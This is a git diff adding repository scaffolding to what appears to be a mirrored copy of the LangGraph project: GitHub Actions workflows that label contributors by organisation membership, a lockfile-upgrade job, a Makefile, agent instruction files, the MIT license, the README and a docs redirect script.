+ try { + await github.rest.actions.cancelWorkflowRun({ + owner, repo, run_id: run.id, + }); + console.log(`Cancelled ${status} run ${run.id} (${run.name})`); + } catch (err) { + console.log(`Could not cancel run ${run.id}: ${err.message}`); + } + } + } + + const reason = !hasLink + ? 'PR must reference an issue using auto-close keywords (e.g., "Fixes #123").' + : 'PR author must be assigned to the linked issue.'; + core.setFailed(reason); diff --git a/.github/workflows/tag-external-issues.yml b/.github/workflows/tag-external-issues.yml new file mode 100644 index 0000000..b8044d3 --- /dev/null +++ b/.github/workflows/tag-external-issues.yml @@ -0,0 +1,402 @@ +# Automatically tag issues as "external" or "internal" based on whether +# the author is a member of the langchain-ai GitHub organization, and +# apply contributor tier labels to external contributors based on their +# merged PR history. +# +# PR labeling is handled by tag-external-prs.yml. +# PR + issue backfill lives in the backfill job below (workflow_dispatch). +# +# Setup Requirements: +# 1. Create a GitHub App with permissions: +# - Repository: Issues (write), Pull requests (write) +# - Organization: Members (read) +# 2. Install the app on your organization and this repository +# 3. Add these repository secrets: +# - ORG_MEMBERSHIP_APP_ID: Your app's ID +# - ORG_MEMBERSHIP_APP_PRIVATE_KEY: Your app's private key +# +# The GitHub App token is required to check private organization membership. +# Without it, the workflow will fail. + +name: Tag External Issues + +on: + issues: + types: [opened] + workflow_dispatch: + inputs: + backfill_type: + description: "Backfill type (for initial run)" + default: "both" + type: choice + options: + - prs + - issues + - both + max_items: + description: "Maximum number of items to process" + default: "100" + type: string + +permissions: + contents: read + +concurrency: + group: ${{ github.workflow }}-${{ github.event.issue.number || github.run_id }} + cancel-in-progress: true + +jobs: + tag-external: + if: github.event_name == 'issues' + runs-on: ubuntu-latest + permissions: + issues: write + + steps: + - name: Generate GitHub App token + id: app-token + uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0 + with: + app-id: ${{ secrets.ORG_MEMBERSHIP_APP_ID }} + private-key: ${{ secrets.ORG_MEMBERSHIP_APP_PRIVATE_KEY }} + + - name: Check if contributor is external + if: steps.app-token.outcome == 'success' + id: check-membership + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 + with: + github-token: ${{ steps.app-token.outputs.token }} + script: | + const { owner, repo } = context.repo; + const author = context.payload.sender.login; + const senderType = context.payload.sender.type; + + if (senderType === 'Bot') { + console.log(`${author} is a Bot — treating as internal`); + core.setOutput('is-external', 'false'); + return; + } + + try { + const membership = await github.rest.orgs.getMembershipForUser({ + org: 'langchain-ai', + username: author, + }); + const isExternal = membership.data.state !== 'active'; + console.log( + isExternal + ? `${author} has pending membership — treating as external` + : `${author} is an active member of langchain-ai`, + ); + core.setOutput('is-external', isExternal ? 'true' : 'false'); + } catch (e) { + if (e.status === 404) { + console.log(`${author} is not a member of langchain-ai`); + core.setOutput('is-external', 'true'); + } else { + throw new Error( + `Membership check failed for ${author} (${e.status}): ${e.message}`, + ); + } + } + + - name: Apply contributor tier label + if: steps.check-membership.outputs.is-external == 'true' + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + script: | + const { owner, repo } = context.repo; + const issue = context.payload.issue; + const author = issue.user.login; + const issueNumber = issue.number; + + const TRUSTED_THRESHOLD = 5; + const LABEL_COLOR = 'b76e79'; + + let mergedCount; + try { + const result = await github.rest.search.issuesAndPullRequests({ + q: `repo:${owner}/${repo} is:pr is:merged author:"${author}"`, + per_page: 1, + }); + mergedCount = result?.data?.total_count; + } catch (error) { + if (error?.status !== 422) throw error; + core.warning(`Search failed for ${author}; skipping tier label.`); + return; + } + + if (mergedCount == null) { + core.warning(`Search response missing total_count for ${author}; skipping tier label.`); + return; + } + + const tierLabel = mergedCount >= TRUSTED_THRESHOLD ? 'trusted-contributor' : null; + + if (tierLabel) { + try { + await github.rest.issues.getLabel({ owner, repo, name: tierLabel }); + } catch (e) { + if (e.status !== 404) throw e; + try { + await github.rest.issues.createLabel({ owner, repo, name: tierLabel, color: LABEL_COLOR }); + } catch (createErr) { + if (createErr.status !== 422) throw createErr; + } + } + await github.rest.issues.addLabels({ + owner, repo, issue_number: issueNumber, labels: [tierLabel], + }); + console.log(`Applied '${tierLabel}' to #${issueNumber} (${mergedCount} merged PRs)`); + } else { + console.log(`No tier label for ${author} (${mergedCount} merged PRs)`); + } + + - name: Add external label + if: steps.check-membership.outputs.is-external == 'true' + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + script: | + const { owner, repo } = context.repo; + const issue_number = context.payload.issue.number; + await github.rest.issues.addLabels({ + owner, repo, issue_number, labels: ['external'], + }); + console.log(`Added 'external' label to issue #${issue_number}`); + + - name: Add internal label + if: steps.check-membership.outputs.is-external == 'false' + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + script: | + const { owner, repo } = context.repo; + const issue_number = context.payload.issue.number; + await github.rest.issues.addLabels({ + owner, repo, issue_number, labels: ['internal'], + }); + console.log(`Added 'internal' label to issue #${issue_number}`); + + backfill: + if: github.event_name == 'workflow_dispatch' + runs-on: ubuntu-latest + permissions: + contents: read + issues: write + pull-requests: write + + steps: + - name: Generate GitHub App token + id: app-token + uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0 + with: + app-id: ${{ secrets.ORG_MEMBERSHIP_APP_ID }} + private-key: ${{ secrets.ORG_MEMBERSHIP_APP_PRIVATE_KEY }} + + - name: Backfill labels + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 + with: + github-token: ${{ steps.app-token.outputs.token }} + script: | + const { owner, repo } = context.repo; + const rawMax = '${{ inputs.max_items }}'; + const maxItems = parseInt(rawMax, 10); + if (isNaN(maxItems) || maxItems <= 0) { + core.setFailed(`Invalid max_items: "${rawMax}" — must be a positive integer`); + return; + } + const backfillType = '${{ inputs.backfill_type }}'; + + const TRUSTED_THRESHOLD = 5; + const LABEL_COLOR = 'b76e79'; + + const tierLabels = ['trusted-contributor']; + + // ── Helpers ───────────────────────────────────────────────── + + async function ensureLabel(name) { + try { + await github.rest.issues.getLabel({ owner, repo, name }); + } catch (e) { + if (e.status !== 404) throw e; + try { + await github.rest.issues.createLabel({ owner, repo, name, color: LABEL_COLOR }); + } catch (createErr) { + if (createErr.status !== 422) throw createErr; + } + } + } + + async function checkMembership(author, userType) { + if (userType === 'Bot') { + console.log(`${author} is a Bot — treating as internal`); + return { isExternal: false }; + } + try { + const membership = await github.rest.orgs.getMembershipForUser({ + org: 'langchain-ai', + username: author, + }); + const isExternal = membership.data.state !== 'active'; + console.log( + isExternal + ? `${author} has pending membership — treating as external` + : `${author} is an active member of langchain-ai`, + ); + return { isExternal }; + } catch (e) { + if (e.status === 404) { + console.log(`${author} is not a member of langchain-ai`); + return { isExternal: true }; + } + throw new Error( + `Membership check failed for ${author} (${e.status}): ${e.message}`, + ); + } + } + + async function getContributorInfo(contributorCache, author, userType) { + if (contributorCache.has(author)) return contributorCache.get(author); + + const { isExternal } = await checkMembership(author, userType); + + let mergedCount = null; + if (isExternal) { + try { + const result = await github.rest.search.issuesAndPullRequests({ + q: `repo:${owner}/${repo} is:pr is:merged author:"${author}"`, + per_page: 1, + }); + mergedCount = result?.data?.total_count ?? null; + } catch (e) { + if (e?.status !== 422) throw e; + core.warning(`Search failed for ${author}; skipping tier.`); + } + } + + const info = { isExternal, mergedCount }; + contributorCache.set(author, info); + return info; + } + + // ── Setup ──────────────────────────────────────────────────── + + for (const name of tierLabels) { + await ensureLabel(name); + } + + const contributorCache = new Map(); + + let processed = 0; + let failures = 0; + + // ── Backfill PRs ───────────────────────────────────────────── + + if (backfillType === 'prs' || backfillType === 'both') { + const prs = await github.paginate(github.rest.pulls.list, { + owner, repo, state: 'open', per_page: 100, + }); + + for (const pr of prs) { + if (processed >= maxItems) break; + + try { + const author = pr.user.login; + const info = await getContributorInfo(contributorCache, author, pr.user.type); + + const labels = [info.isExternal ? 'external' : 'internal']; + if (info.isExternal && info.mergedCount != null && info.mergedCount >= TRUSTED_THRESHOLD) { + labels.push('trusted-contributor'); + } + + // Ensure all labels exist before batch add + for (const name of labels) { + await ensureLabel(name); + } + + // Remove stale tier labels + const currentLabels = (await github.paginate( + github.rest.issues.listLabelsOnIssue, + { owner, repo, issue_number: pr.number, per_page: 100 }, + )).map(l => l.name ?? ''); + for (const name of currentLabels) { + if (tierLabels.includes(name) && !labels.includes(name)) { + try { + await github.rest.issues.removeLabel({ + owner, repo, issue_number: pr.number, name, + }); + } catch (e) { + if (e.status !== 404) throw e; + } + } + } + + await github.rest.issues.addLabels({ + owner, repo, issue_number: pr.number, labels, + }); + console.log(`PR #${pr.number} (${author}): ${labels.join(', ')}`); + processed++; + } catch (e) { + failures++; + core.warning(`Failed to process PR #${pr.number}: ${e.message}`); + } + } + } + + // ── Backfill issues ────────────────────────────────────────── + + if (backfillType === 'issues' || backfillType === 'both') { + const issues = await github.paginate(github.rest.issues.listForRepo, { + owner, repo, state: 'open', per_page: 100, + }); + + for (const issue of issues) { + if (processed >= maxItems) break; + if (issue.pull_request) continue; + + try { + const author = issue.user.login; + const info = await getContributorInfo(contributorCache, author, issue.user.type); + + const labels = [info.isExternal ? 'external' : 'internal']; + if (info.isExternal && info.mergedCount != null && info.mergedCount >= TRUSTED_THRESHOLD) { + labels.push('trusted-contributor'); + } + + // Ensure all labels exist before batch add + for (const name of labels) { + await ensureLabel(name); + } + + // Remove stale tier labels + const currentLabels = (await github.paginate( + github.rest.issues.listLabelsOnIssue, + { owner, repo, issue_number: issue.number, per_page: 100 }, + )).map(l => l.name ?? ''); + for (const name of currentLabels) { + if (tierLabels.includes(name) && !labels.includes(name)) { + try { + await github.rest.issues.removeLabel({ + owner, repo, issue_number: issue.number, name, + }); + } catch (e) { + if (e.status !== 404) throw e; + } + } + } + + await github.rest.issues.addLabels({ + owner, repo, issue_number: issue.number, labels, + }); + console.log(`Issue #${issue.number} (${author}): ${labels.join(', ')}`); + processed++; + } catch (e) { + failures++; + core.warning(`Failed to process issue #${issue.number}: ${e.message}`); + } + } + } + + console.log(`\nBackfill complete. Processed ${processed} items, ${failures} failures. ${contributorCache.size} unique authors.`); diff --git a/.github/workflows/tag-external-prs.yml b/.github/workflows/tag-external-prs.yml new file mode 100644 index 0000000..1e6af15 --- /dev/null +++ b/.github/workflows/tag-external-prs.yml @@ -0,0 +1,173 @@ +# Automatically tag pull requests as "external" or "internal" based on +# whether the author is a member of the langchain-ai GitHub organization, +# and apply contributor tier labels to external contributors based on +# their merged PR history. +# +# Issue labeling is handled by tag-external-issues.yml. +# Backfill (workflow_dispatch) also lives in tag-external-issues.yml. +# +# Setup Requirements: +# 1. Create a GitHub App with permissions: +# - Repository: Pull requests (write) +# - Organization: Members (read) +# 2. Install the app on your organization and this repository +# 3. Add these repository secrets: +# - ORG_MEMBERSHIP_APP_ID: Your app's ID +# - ORG_MEMBERSHIP_APP_PRIVATE_KEY: Your app's private key +# +# The GitHub App token is required to check private organization membership. +# Without it, the workflow will fail. + +name: Tag External PRs + +on: + pull_request_target: + types: [opened] + +permissions: + contents: read + +concurrency: + group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.run_id }} + cancel-in-progress: true + +jobs: + tag-external: + runs-on: ubuntu-latest + permissions: + pull-requests: write + + steps: + - name: Generate GitHub App token + id: app-token + uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0 + with: + app-id: ${{ secrets.ORG_MEMBERSHIP_APP_ID }} + private-key: ${{ secrets.ORG_MEMBERSHIP_APP_PRIVATE_KEY }} + + - name: Check if contributor is external + if: steps.app-token.outcome == 'success' + id: check-membership + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 + with: + github-token: ${{ steps.app-token.outputs.token }} + script: | + const { owner, repo } = context.repo; + const author = context.payload.sender.login; + const senderType = context.payload.sender.type; + + if (senderType === 'Bot') { + console.log(`${author} is a Bot — treating as internal`); + core.setOutput('is-external', 'false'); + return; + } + + try { + const membership = await github.rest.orgs.getMembershipForUser({ + org: 'langchain-ai', + username: author, + }); + const isExternal = membership.data.state !== 'active'; + console.log( + isExternal + ? `${author} has pending membership — treating as external` + : `${author} is an active member of langchain-ai`, + ); + core.setOutput('is-external', isExternal ? 'true' : 'false'); + } catch (e) { + if (e.status === 404) { + console.log(`${author} is not a member of langchain-ai`); + core.setOutput('is-external', 'true'); + } else { + throw new Error( + `Membership check failed for ${author} (${e.status}): ${e.message}`, + ); + } + } + + # Apply tier label BEFORE the external label so that + # "trusted-contributor" is already present when the "external" labeled + # event fires and triggers require_issue_link.yml. + - name: Apply contributor tier label + if: steps.check-membership.outputs.is-external == 'true' + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 + with: + # Use App token so the "labeled" event propagates to downstream + # workflows (e.g. require_issue_link.yml). + github-token: ${{ steps.app-token.outputs.token }} + script: | + const { owner, repo } = context.repo; + const pr = context.payload.pull_request; + const author = pr.user.login; + const prNumber = pr.number; + + const TRUSTED_THRESHOLD = 5; + const LABEL_COLOR = 'b76e79'; + + let mergedCount; + try { + const result = await github.rest.search.issuesAndPullRequests({ + q: `repo:${owner}/${repo} is:pr is:merged author:"${author}"`, + per_page: 1, + }); + mergedCount = result?.data?.total_count; + } catch (error) { + if (error?.status !== 422) throw error; + core.warning(`Search failed for ${author}; skipping tier label.`); + return; + } + + if (mergedCount == null) { + core.warning(`Search response missing total_count for ${author}; skipping tier label.`); + return; + } + + const tierLabel = mergedCount >= TRUSTED_THRESHOLD ? 'trusted-contributor' : null; + + if (tierLabel) { + try { + await github.rest.issues.getLabel({ owner, repo, name: tierLabel }); + } catch (e) { + if (e.status !== 404) throw e; + try { + await github.rest.issues.createLabel({ owner, repo, name: tierLabel, color: LABEL_COLOR }); + } catch (createErr) { + if (createErr.status !== 422) throw createErr; + } + } + await github.rest.issues.addLabels({ + owner, repo, issue_number: prNumber, labels: [tierLabel], + }); + console.log(`Applied '${tierLabel}' to PR #${prNumber} (${mergedCount} merged PRs)`); + } else { + console.log(`No tier label for ${author} (${mergedCount} merged PRs)`); + } + + - name: Add external label + if: steps.check-membership.outputs.is-external == 'true' + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 + with: + # Use App token so the "labeled" event propagates to downstream + # workflows (e.g. require_issue_link.yml). Events created by the + # default GITHUB_TOKEN do not trigger additional workflow runs. + github-token: ${{ steps.app-token.outputs.token }} + script: | + const { owner, repo } = context.repo; + const issue_number = context.payload.pull_request.number; + await github.rest.issues.addLabels({ + owner, repo, issue_number, labels: ['external'], + }); + console.log(`Added 'external' label to PR #${issue_number}`); + + - name: Add internal label + if: steps.check-membership.outputs.is-external == 'false' + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + script: | + const { owner, repo } = context.repo; + const issue_number = context.payload.pull_request.number; + await github.rest.issues.addLabels({ + owner, repo, issue_number, labels: ['internal'], + }); + console.log(`Added 'internal' label to PR #${issue_number}`); diff --git a/.github/workflows/uv_lock_ugprade.yml b/.github/workflows/uv_lock_ugprade.yml new file mode 100644 index 0000000..adb0245 --- /dev/null +++ b/.github/workflows/uv_lock_ugprade.yml @@ -0,0 +1,43 @@ +name: UV Lock Upgrade + +on: + schedule: + # run at midnight every Sunday + - cron: '0 0 * * 0' + # allow manual triggering + workflow_dispatch: + +permissions: + contents: write + pull-requests: write + +jobs: + upgrade-dependencies: + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 + + - name: Set up uv + uses: ./.github/actions/uv_setup + with: + python-version: "3.10" + cache-suffix: "uv-lock-upgrade" + + - name: Run uv lock --upgrade in all Python packages + run: make lock-upgrade + + - name: Create Pull Request + uses: peter-evans/create-pull-request@5f6978faf089d4d20b00c7766989d076bb2fc7f1 # v8 + with: + token: ${{ secrets.GITHUB_TOKEN }} + commit-message: "chore(deps): upgrade dependencies with `uv lock --upgrade`" + title: "chore(deps): upgrade dependencies with `uv lock --upgrade`" + body: | + This PR updates the dependencies in all Python packages using `uv lock --upgrade`. + + This is an automated PR created by the UV Lock Upgrade workflow. + branch: deps/uv-lock-upgrade + delete-branch: true + labels: | + dependencies diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..b154d3b --- /dev/null +++ b/.gitignore @@ -0,0 +1,103 @@ +.vs/ +.vscode/ +.idea/ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +pip-wheel-metadata/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# PyBuilder +target/ + +# Jupyter Notebook +.ipynb_checkpoints +notebooks/ + +# IPython +profile_default/ +ipython_config.py + +# pyenv +.python-version + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow +__pypackages__/ + +# Environments +.env +.envrc +.venv +.venvs +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# macOS display setting files +.DS_Store + +.vercel +.turbo +.editorconfig +.scratch +.worktrees/ diff --git a/.markdownlint.json b/.markdownlint.json new file mode 100644 index 0000000..1da2ca7 --- /dev/null +++ b/.markdownlint.json @@ -0,0 +1,14 @@ +{ + "MD013": false, + "MD024": { + "siblings_only": true + }, + "MD025": false, + "MD033": false, + "MD034": false, + "MD036": false, + "MD041": false, + "MD046": { + "style": "fenced" + } +} diff --git a/AGENTS.md b/AGENTS.md new file mode 100644 index 0000000..7a8d1dc --- /dev/null +++ b/AGENTS.md @@ -0,0 +1,57 @@ +# AGENTS Instructions + +This repository is a monorepo. Each library lives in a subdirectory under `libs/`. + +When you modify code in any library, run the following commands in that library's directory before creating a pull request: + +- `make format` – run code formatters +- `make lint` – run the linter +- `make test` – execute the test suite + +To run a particular test file or to pass additional pytest options you can specify the `TEST` variable: + +```txt +TEST=path/to/test.py make test +``` + +Other pytest arguments can also be supplied inside the `TEST` variable. + +## Libraries + +The repository contains several Python and JavaScript/TypeScript libraries. +Below is a high-level overview: + +- **checkpoint** – base interfaces for LangGraph checkpointers. +- **checkpoint-postgres** – Postgres implementation of the checkpoint saver. +- **checkpoint-sqlite** – SQLite implementation of the checkpoint saver. +- **cli** – official command-line interface for LangGraph. +- **langgraph** – core framework for building stateful, multi-actor agents. +- **prebuilt** – high-level APIs for creating and running agents and tools. +- **sdk-js** – JS/TS SDK for interacting with the LangGraph REST API. +- **sdk-py** – Python SDK for the LangGraph Server API. + +### Dependency map + +The diagram below lists downstream libraries for each production dependency as +declared in that library's `pyproject.toml` (or `package.json`). + +```text +checkpoint +├── checkpoint-postgres +├── checkpoint-sqlite +├── prebuilt +└── langgraph + +prebuilt +└── langgraph + +sdk-py +├── langgraph +└── cli + +sdk-js (standalone) +``` + +Changes to a library may impact all of its dependents shown above. + +- Do NOT use Sphinx-style double backtick formatting (` ``code`` `). Use single backticks (`` `code` ``) for inline code references in docstrings and comments. diff --git a/CLAUDE.md b/CLAUDE.md new file mode 100644 index 0000000..cc4ee1a --- /dev/null +++ b/CLAUDE.md @@ -0,0 +1,57 @@ +# AGENTS Instructions + +This repository is a monorepo. Each library lives in a subdirectory under `libs/`. + +When you modify code in any library, run the following commands in that library's directory before creating a pull request: + +- `make format` – run code formatters +- `make lint` – run the linter +- `make test` – execute the test suite + +To run a particular test file or to pass additional pytest options you can specify the `TEST` variable: + +``` +TEST=path/to/test.py make test +``` + +Other pytest arguments can also be supplied inside the `TEST` variable. + +## Libraries + +The repository contains several Python and JavaScript/TypeScript libraries. +Below is a high-level overview: + +- **checkpoint** – base interfaces for LangGraph checkpointers. +- **checkpoint-postgres** – Postgres implementation of the checkpoint saver. +- **checkpoint-sqlite** – SQLite implementation of the checkpoint saver. +- **cli** – official command-line interface for LangGraph. +- **langgraph** – core framework for building stateful, multi-actor agents. +- **prebuilt** – high-level APIs for creating and running agents and tools. +- **sdk-js** – JS/TS SDK for interacting with the LangGraph REST API. +- **sdk-py** – Python SDK for the LangGraph Server API. + +### Dependency map + +The diagram below lists downstream libraries for each production dependency as +declared in that library's `pyproject.toml` (or `package.json`). + +```text +checkpoint +├── checkpoint-postgres +├── checkpoint-sqlite +├── prebuilt +└── langgraph + +prebuilt +└── langgraph + +sdk-py +├── langgraph +└── cli + +sdk-js (standalone) +``` + +Changes to a library may impact all of its dependents shown above. + +- Do NOT use Sphinx-style double backtick formatting (` ``code`` `). Use single backticks (`` `code` ``) for inline code references in docstrings and comments. diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..fc0602f --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 LangChain, Inc. + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..477e031 --- /dev/null +++ b/Makefile @@ -0,0 +1,68 @@ +# Define the directories containing projects +LIBS_DIRS := $(wildcard libs/*) + +# Default target +.PHONY: all +all: lint format lock test + +# Install dependencies for all projects +.PHONY: install +install: + @echo "Creating virtual environment..." + @uv venv + @for dir in $(LIBS_DIRS); do \ + if [ -f $$dir/pyproject.toml ]; then \ + echo "Installing dependencies for $$dir"; \ + uv pip install -e $$dir; \ + fi; \ + done + +# Lint all projects +.PHONY: lint +lint: + @for dir in $(LIBS_DIRS); do \ + if [ -f $$dir/Makefile ]; then \ + echo "Running lint in $$dir"; \ + $(MAKE) -C $$dir lint; \ + fi; \ + done + +# Format all projects +.PHONY: format +format: + @for dir in $(LIBS_DIRS); do \ + if [ -f $$dir/Makefile ]; then \ + echo "Running format in $$dir"; \ + $(MAKE) -C $$dir format; \ + fi; \ + done + +# Lock all projects +.PHONY: lock +lock: + @for dir in $(LIBS_DIRS); do \ + if [ -f $$dir/Makefile ]; then \ + echo "Running lock in $$dir"; \ + (cd $$dir && uv lock); \ + fi; \ + done + +# Lock all projects and upgrade dependencies +.PHONY: lock-upgrade +lock-upgrade: + @for dir in $(LIBS_DIRS); do \ + if [ -f $$dir/Makefile ]; then \ + echo "Running lock-upgrade in $$dir"; \ + (cd $$dir && uv lock --upgrade); \ + fi; \ + done + +# Test all projects +.PHONY: test +test: + @for dir in $(LIBS_DIRS); do \ + if [ -f $$dir/Makefile ]; then \ + echo "Running test in $$dir"; \ + $(MAKE) -C $$dir test; \ + fi; \ + done \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..97c31e9 --- /dev/null +++ b/README.md @@ -0,0 +1,82 @@ + + +
+

Low-level orchestration framework for building stateful agents.

+
+ +
+ PyPI - License + PyPI - Downloads + Version + Twitter / X +
+ +
+ +Trusted by companies shaping the future of agents – including Klarna, Replit, Elastic, and more – LangGraph is a low-level orchestration framework for building, managing, and deploying long-running, stateful agents. + +```bash +pip install -U langgraph +``` + +> [!TIP] +> If you're looking to quickly build agents, check out **[Deep Agents](https://docs.langchain.com/oss/python/deepagents/overview)** — a higher-level package built on LangGraph for agents that can plan, use subagents, and leverage file systems for complex tasks. + +For an equivalent JS/TS library, check out [LangGraph.js](https://github.com/langchain-ai/langgraphjs) and the [JS docs](https://docs.langchain.com/oss/javascript/langgraph/overview). + +## Why use LangGraph? + +LangGraph provides low-level supporting infrastructure for *any* long-running, stateful workflow or agent: + +- **[Durable execution](https://docs.langchain.com/oss/python/langgraph/durable-execution)** — Build agents that persist through failures and can run for extended periods, automatically resuming from exactly where they left off. +- **[Human-in-the-loop](https://docs.langchain.com/oss/python/langgraph/interrupts)** — Seamlessly incorporate human oversight by inspecting and modifying agent state at any point during execution. +- **[Comprehensive memory](https://docs.langchain.com/oss/python/langgraph/memory)** — Create truly stateful agents with both short-term working memory for ongoing reasoning and long-term persistent memory across sessions. +- **[Debugging with LangSmith](https://www.langchain.com/langsmith)** — Gain deep visibility into complex agent behavior with visualization tools that trace execution paths, capture state transitions, and provide detailed runtime metrics. +- **[Production-ready deployment](https://docs.langchain.com/langsmith/deployments)** — Deploy sophisticated agent systems confidently with scalable infrastructure designed to handle the unique challenges of stateful, long-running workflows. + +> [!TIP] +> For developing, debugging, and deploying AI agents and LLM applications, see [LangSmith](https://docs.langchain.com/langsmith/home). + +## LangGraph ecosystem + +While LangGraph can be used standalone, it also integrates seamlessly with any LangChain product, giving developers a full suite of tools for building agents. + +To improve your LLM application development, pair LangGraph with: + +- [Deep Agents](https://docs.langchain.com/oss/python/deepagents/overview) – Build agents that can plan, use subagents, and leverage file systems for complex tasks. +- [LangChain](https://docs.langchain.com/oss/python/langchain/overview) – Provides integrations and composable components to streamline LLM application development. +- [LangSmith](https://www.langchain.com/langsmith) – Helpful for agent evals and observability. Debug poor-performing LLM app runs, evaluate agent trajectories, gain visibility in production, and improve performance over time. +- [LangSmith Deployment](https://docs.langchain.com/langsmith/deployments) – Deploy and scale agents effortlessly with a purpose-built deployment platform for long-running, stateful workflows. Discover, reuse, configure, and share agents across teams – and iterate quickly with visual prototyping in [LangSmith Studio](https://docs.langchain.com/langsmith/studio). + +--- + +## Documentation + +- [docs.langchain.com](https://docs.langchain.com/oss/python/langgraph/overview) – Comprehensive documentation, including conceptual overviews and guides +- [reference.langchain.com/python/langgraph](https://reference.langchain.com/python/langgraph) – API reference docs for LangGraph packages +- [LangGraph Quickstart](https://docs.langchain.com/oss/python/langgraph/quickstart) – Get started building with LangGraph +- [Chat LangChain](https://chat.langchain.com/) – Chat with the LangChain documentation and get answers to your questions + +**Discussions**: Visit the [LangChain Forum](https://forum.langchain.com) to connect with the community and share all of your technical questions, ideas, and feedback. + +## Additional resources + +- **[Guides](https://docs.langchain.com/oss/python/learn)** – Quick, actionable code snippets for topics such as streaming, adding memory & persistence, and design patterns (e.g. branching, subgraphs, etc.). +- **[LangChain Academy](https://academy.langchain.com/courses/intro-to-langgraph)** – Learn the basics of LangGraph in our free, structured course. +- **[Case studies](https://www.langchain.com/built-with-langgraph)** – Hear how industry leaders use LangGraph to ship AI applications at scale. +- [Contributing Guide](https://docs.langchain.com/oss/python/contributing/overview) – Learn how to contribute to LangChain projects and find good first issues. +- [Code of Conduct](https://github.com/langchain-ai/langchain/?tab=coc-ov-file) – Our community guidelines and standards for participation. + +--- + +## Acknowledgements + +LangGraph is inspired by [Pregel](https://research.google/pubs/pub37252/) and [Apache Beam](https://beam.apache.org/). The public interface draws inspiration from [NetworkX](https://networkx.org/documentation/latest/). LangGraph is built by LangChain Inc, the creators of LangChain, but can be used without LangChain. diff --git a/README.wehub.md b/README.wehub.md new file mode 100644 index 0000000..6bd1c81 --- /dev/null +++ b/README.wehub.md @@ -0,0 +1,7 @@ +# WeHub 来源说明 + +- 原始项目:`langchain-ai/langgraph` +- 原始仓库:https://github.com/langchain-ai/langgraph +- 导入方式:上游默认分支的最新快照 +- 原作者、版权和许可证信息以原始仓库及本仓库 LICENSE 为准 +- 本文件仅用于记录来源,不代表 WeHub 是原项目作者 diff --git a/docs/.gitignore b/docs/.gitignore new file mode 100644 index 0000000..57510a2 --- /dev/null +++ b/docs/.gitignore @@ -0,0 +1 @@ +_site/ diff --git a/docs/generate_redirects.py b/docs/generate_redirects.py new file mode 100644 index 0000000..e8555eb --- /dev/null +++ b/docs/generate_redirects.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python3 +""" +Generate HTML redirect files from redirects.json. + +Usage: + python generate_redirects.py + +This script reads redirects.json and generates individual HTML files +for each redirect path. Each HTML file uses meta refresh (0 delay) +which is SEO-friendly and treated similarly to 301 redirects by Google. + +To add new redirects, simply edit redirects.json and re-run this script. +""" + +import json +import os +from pathlib import Path + +# Default fallback URL for any path not in the redirect map +DEFAULT_REDIRECT = "https://docs.langchain.com/oss/python/langgraph/overview" + +HTML_TEMPLATE = """ + + + + Redirecting... + + + + + + +Redirecting... + + +""" + +ROOT_HTML_TEMPLATE = """ + + + + Redirecting to LangGraph 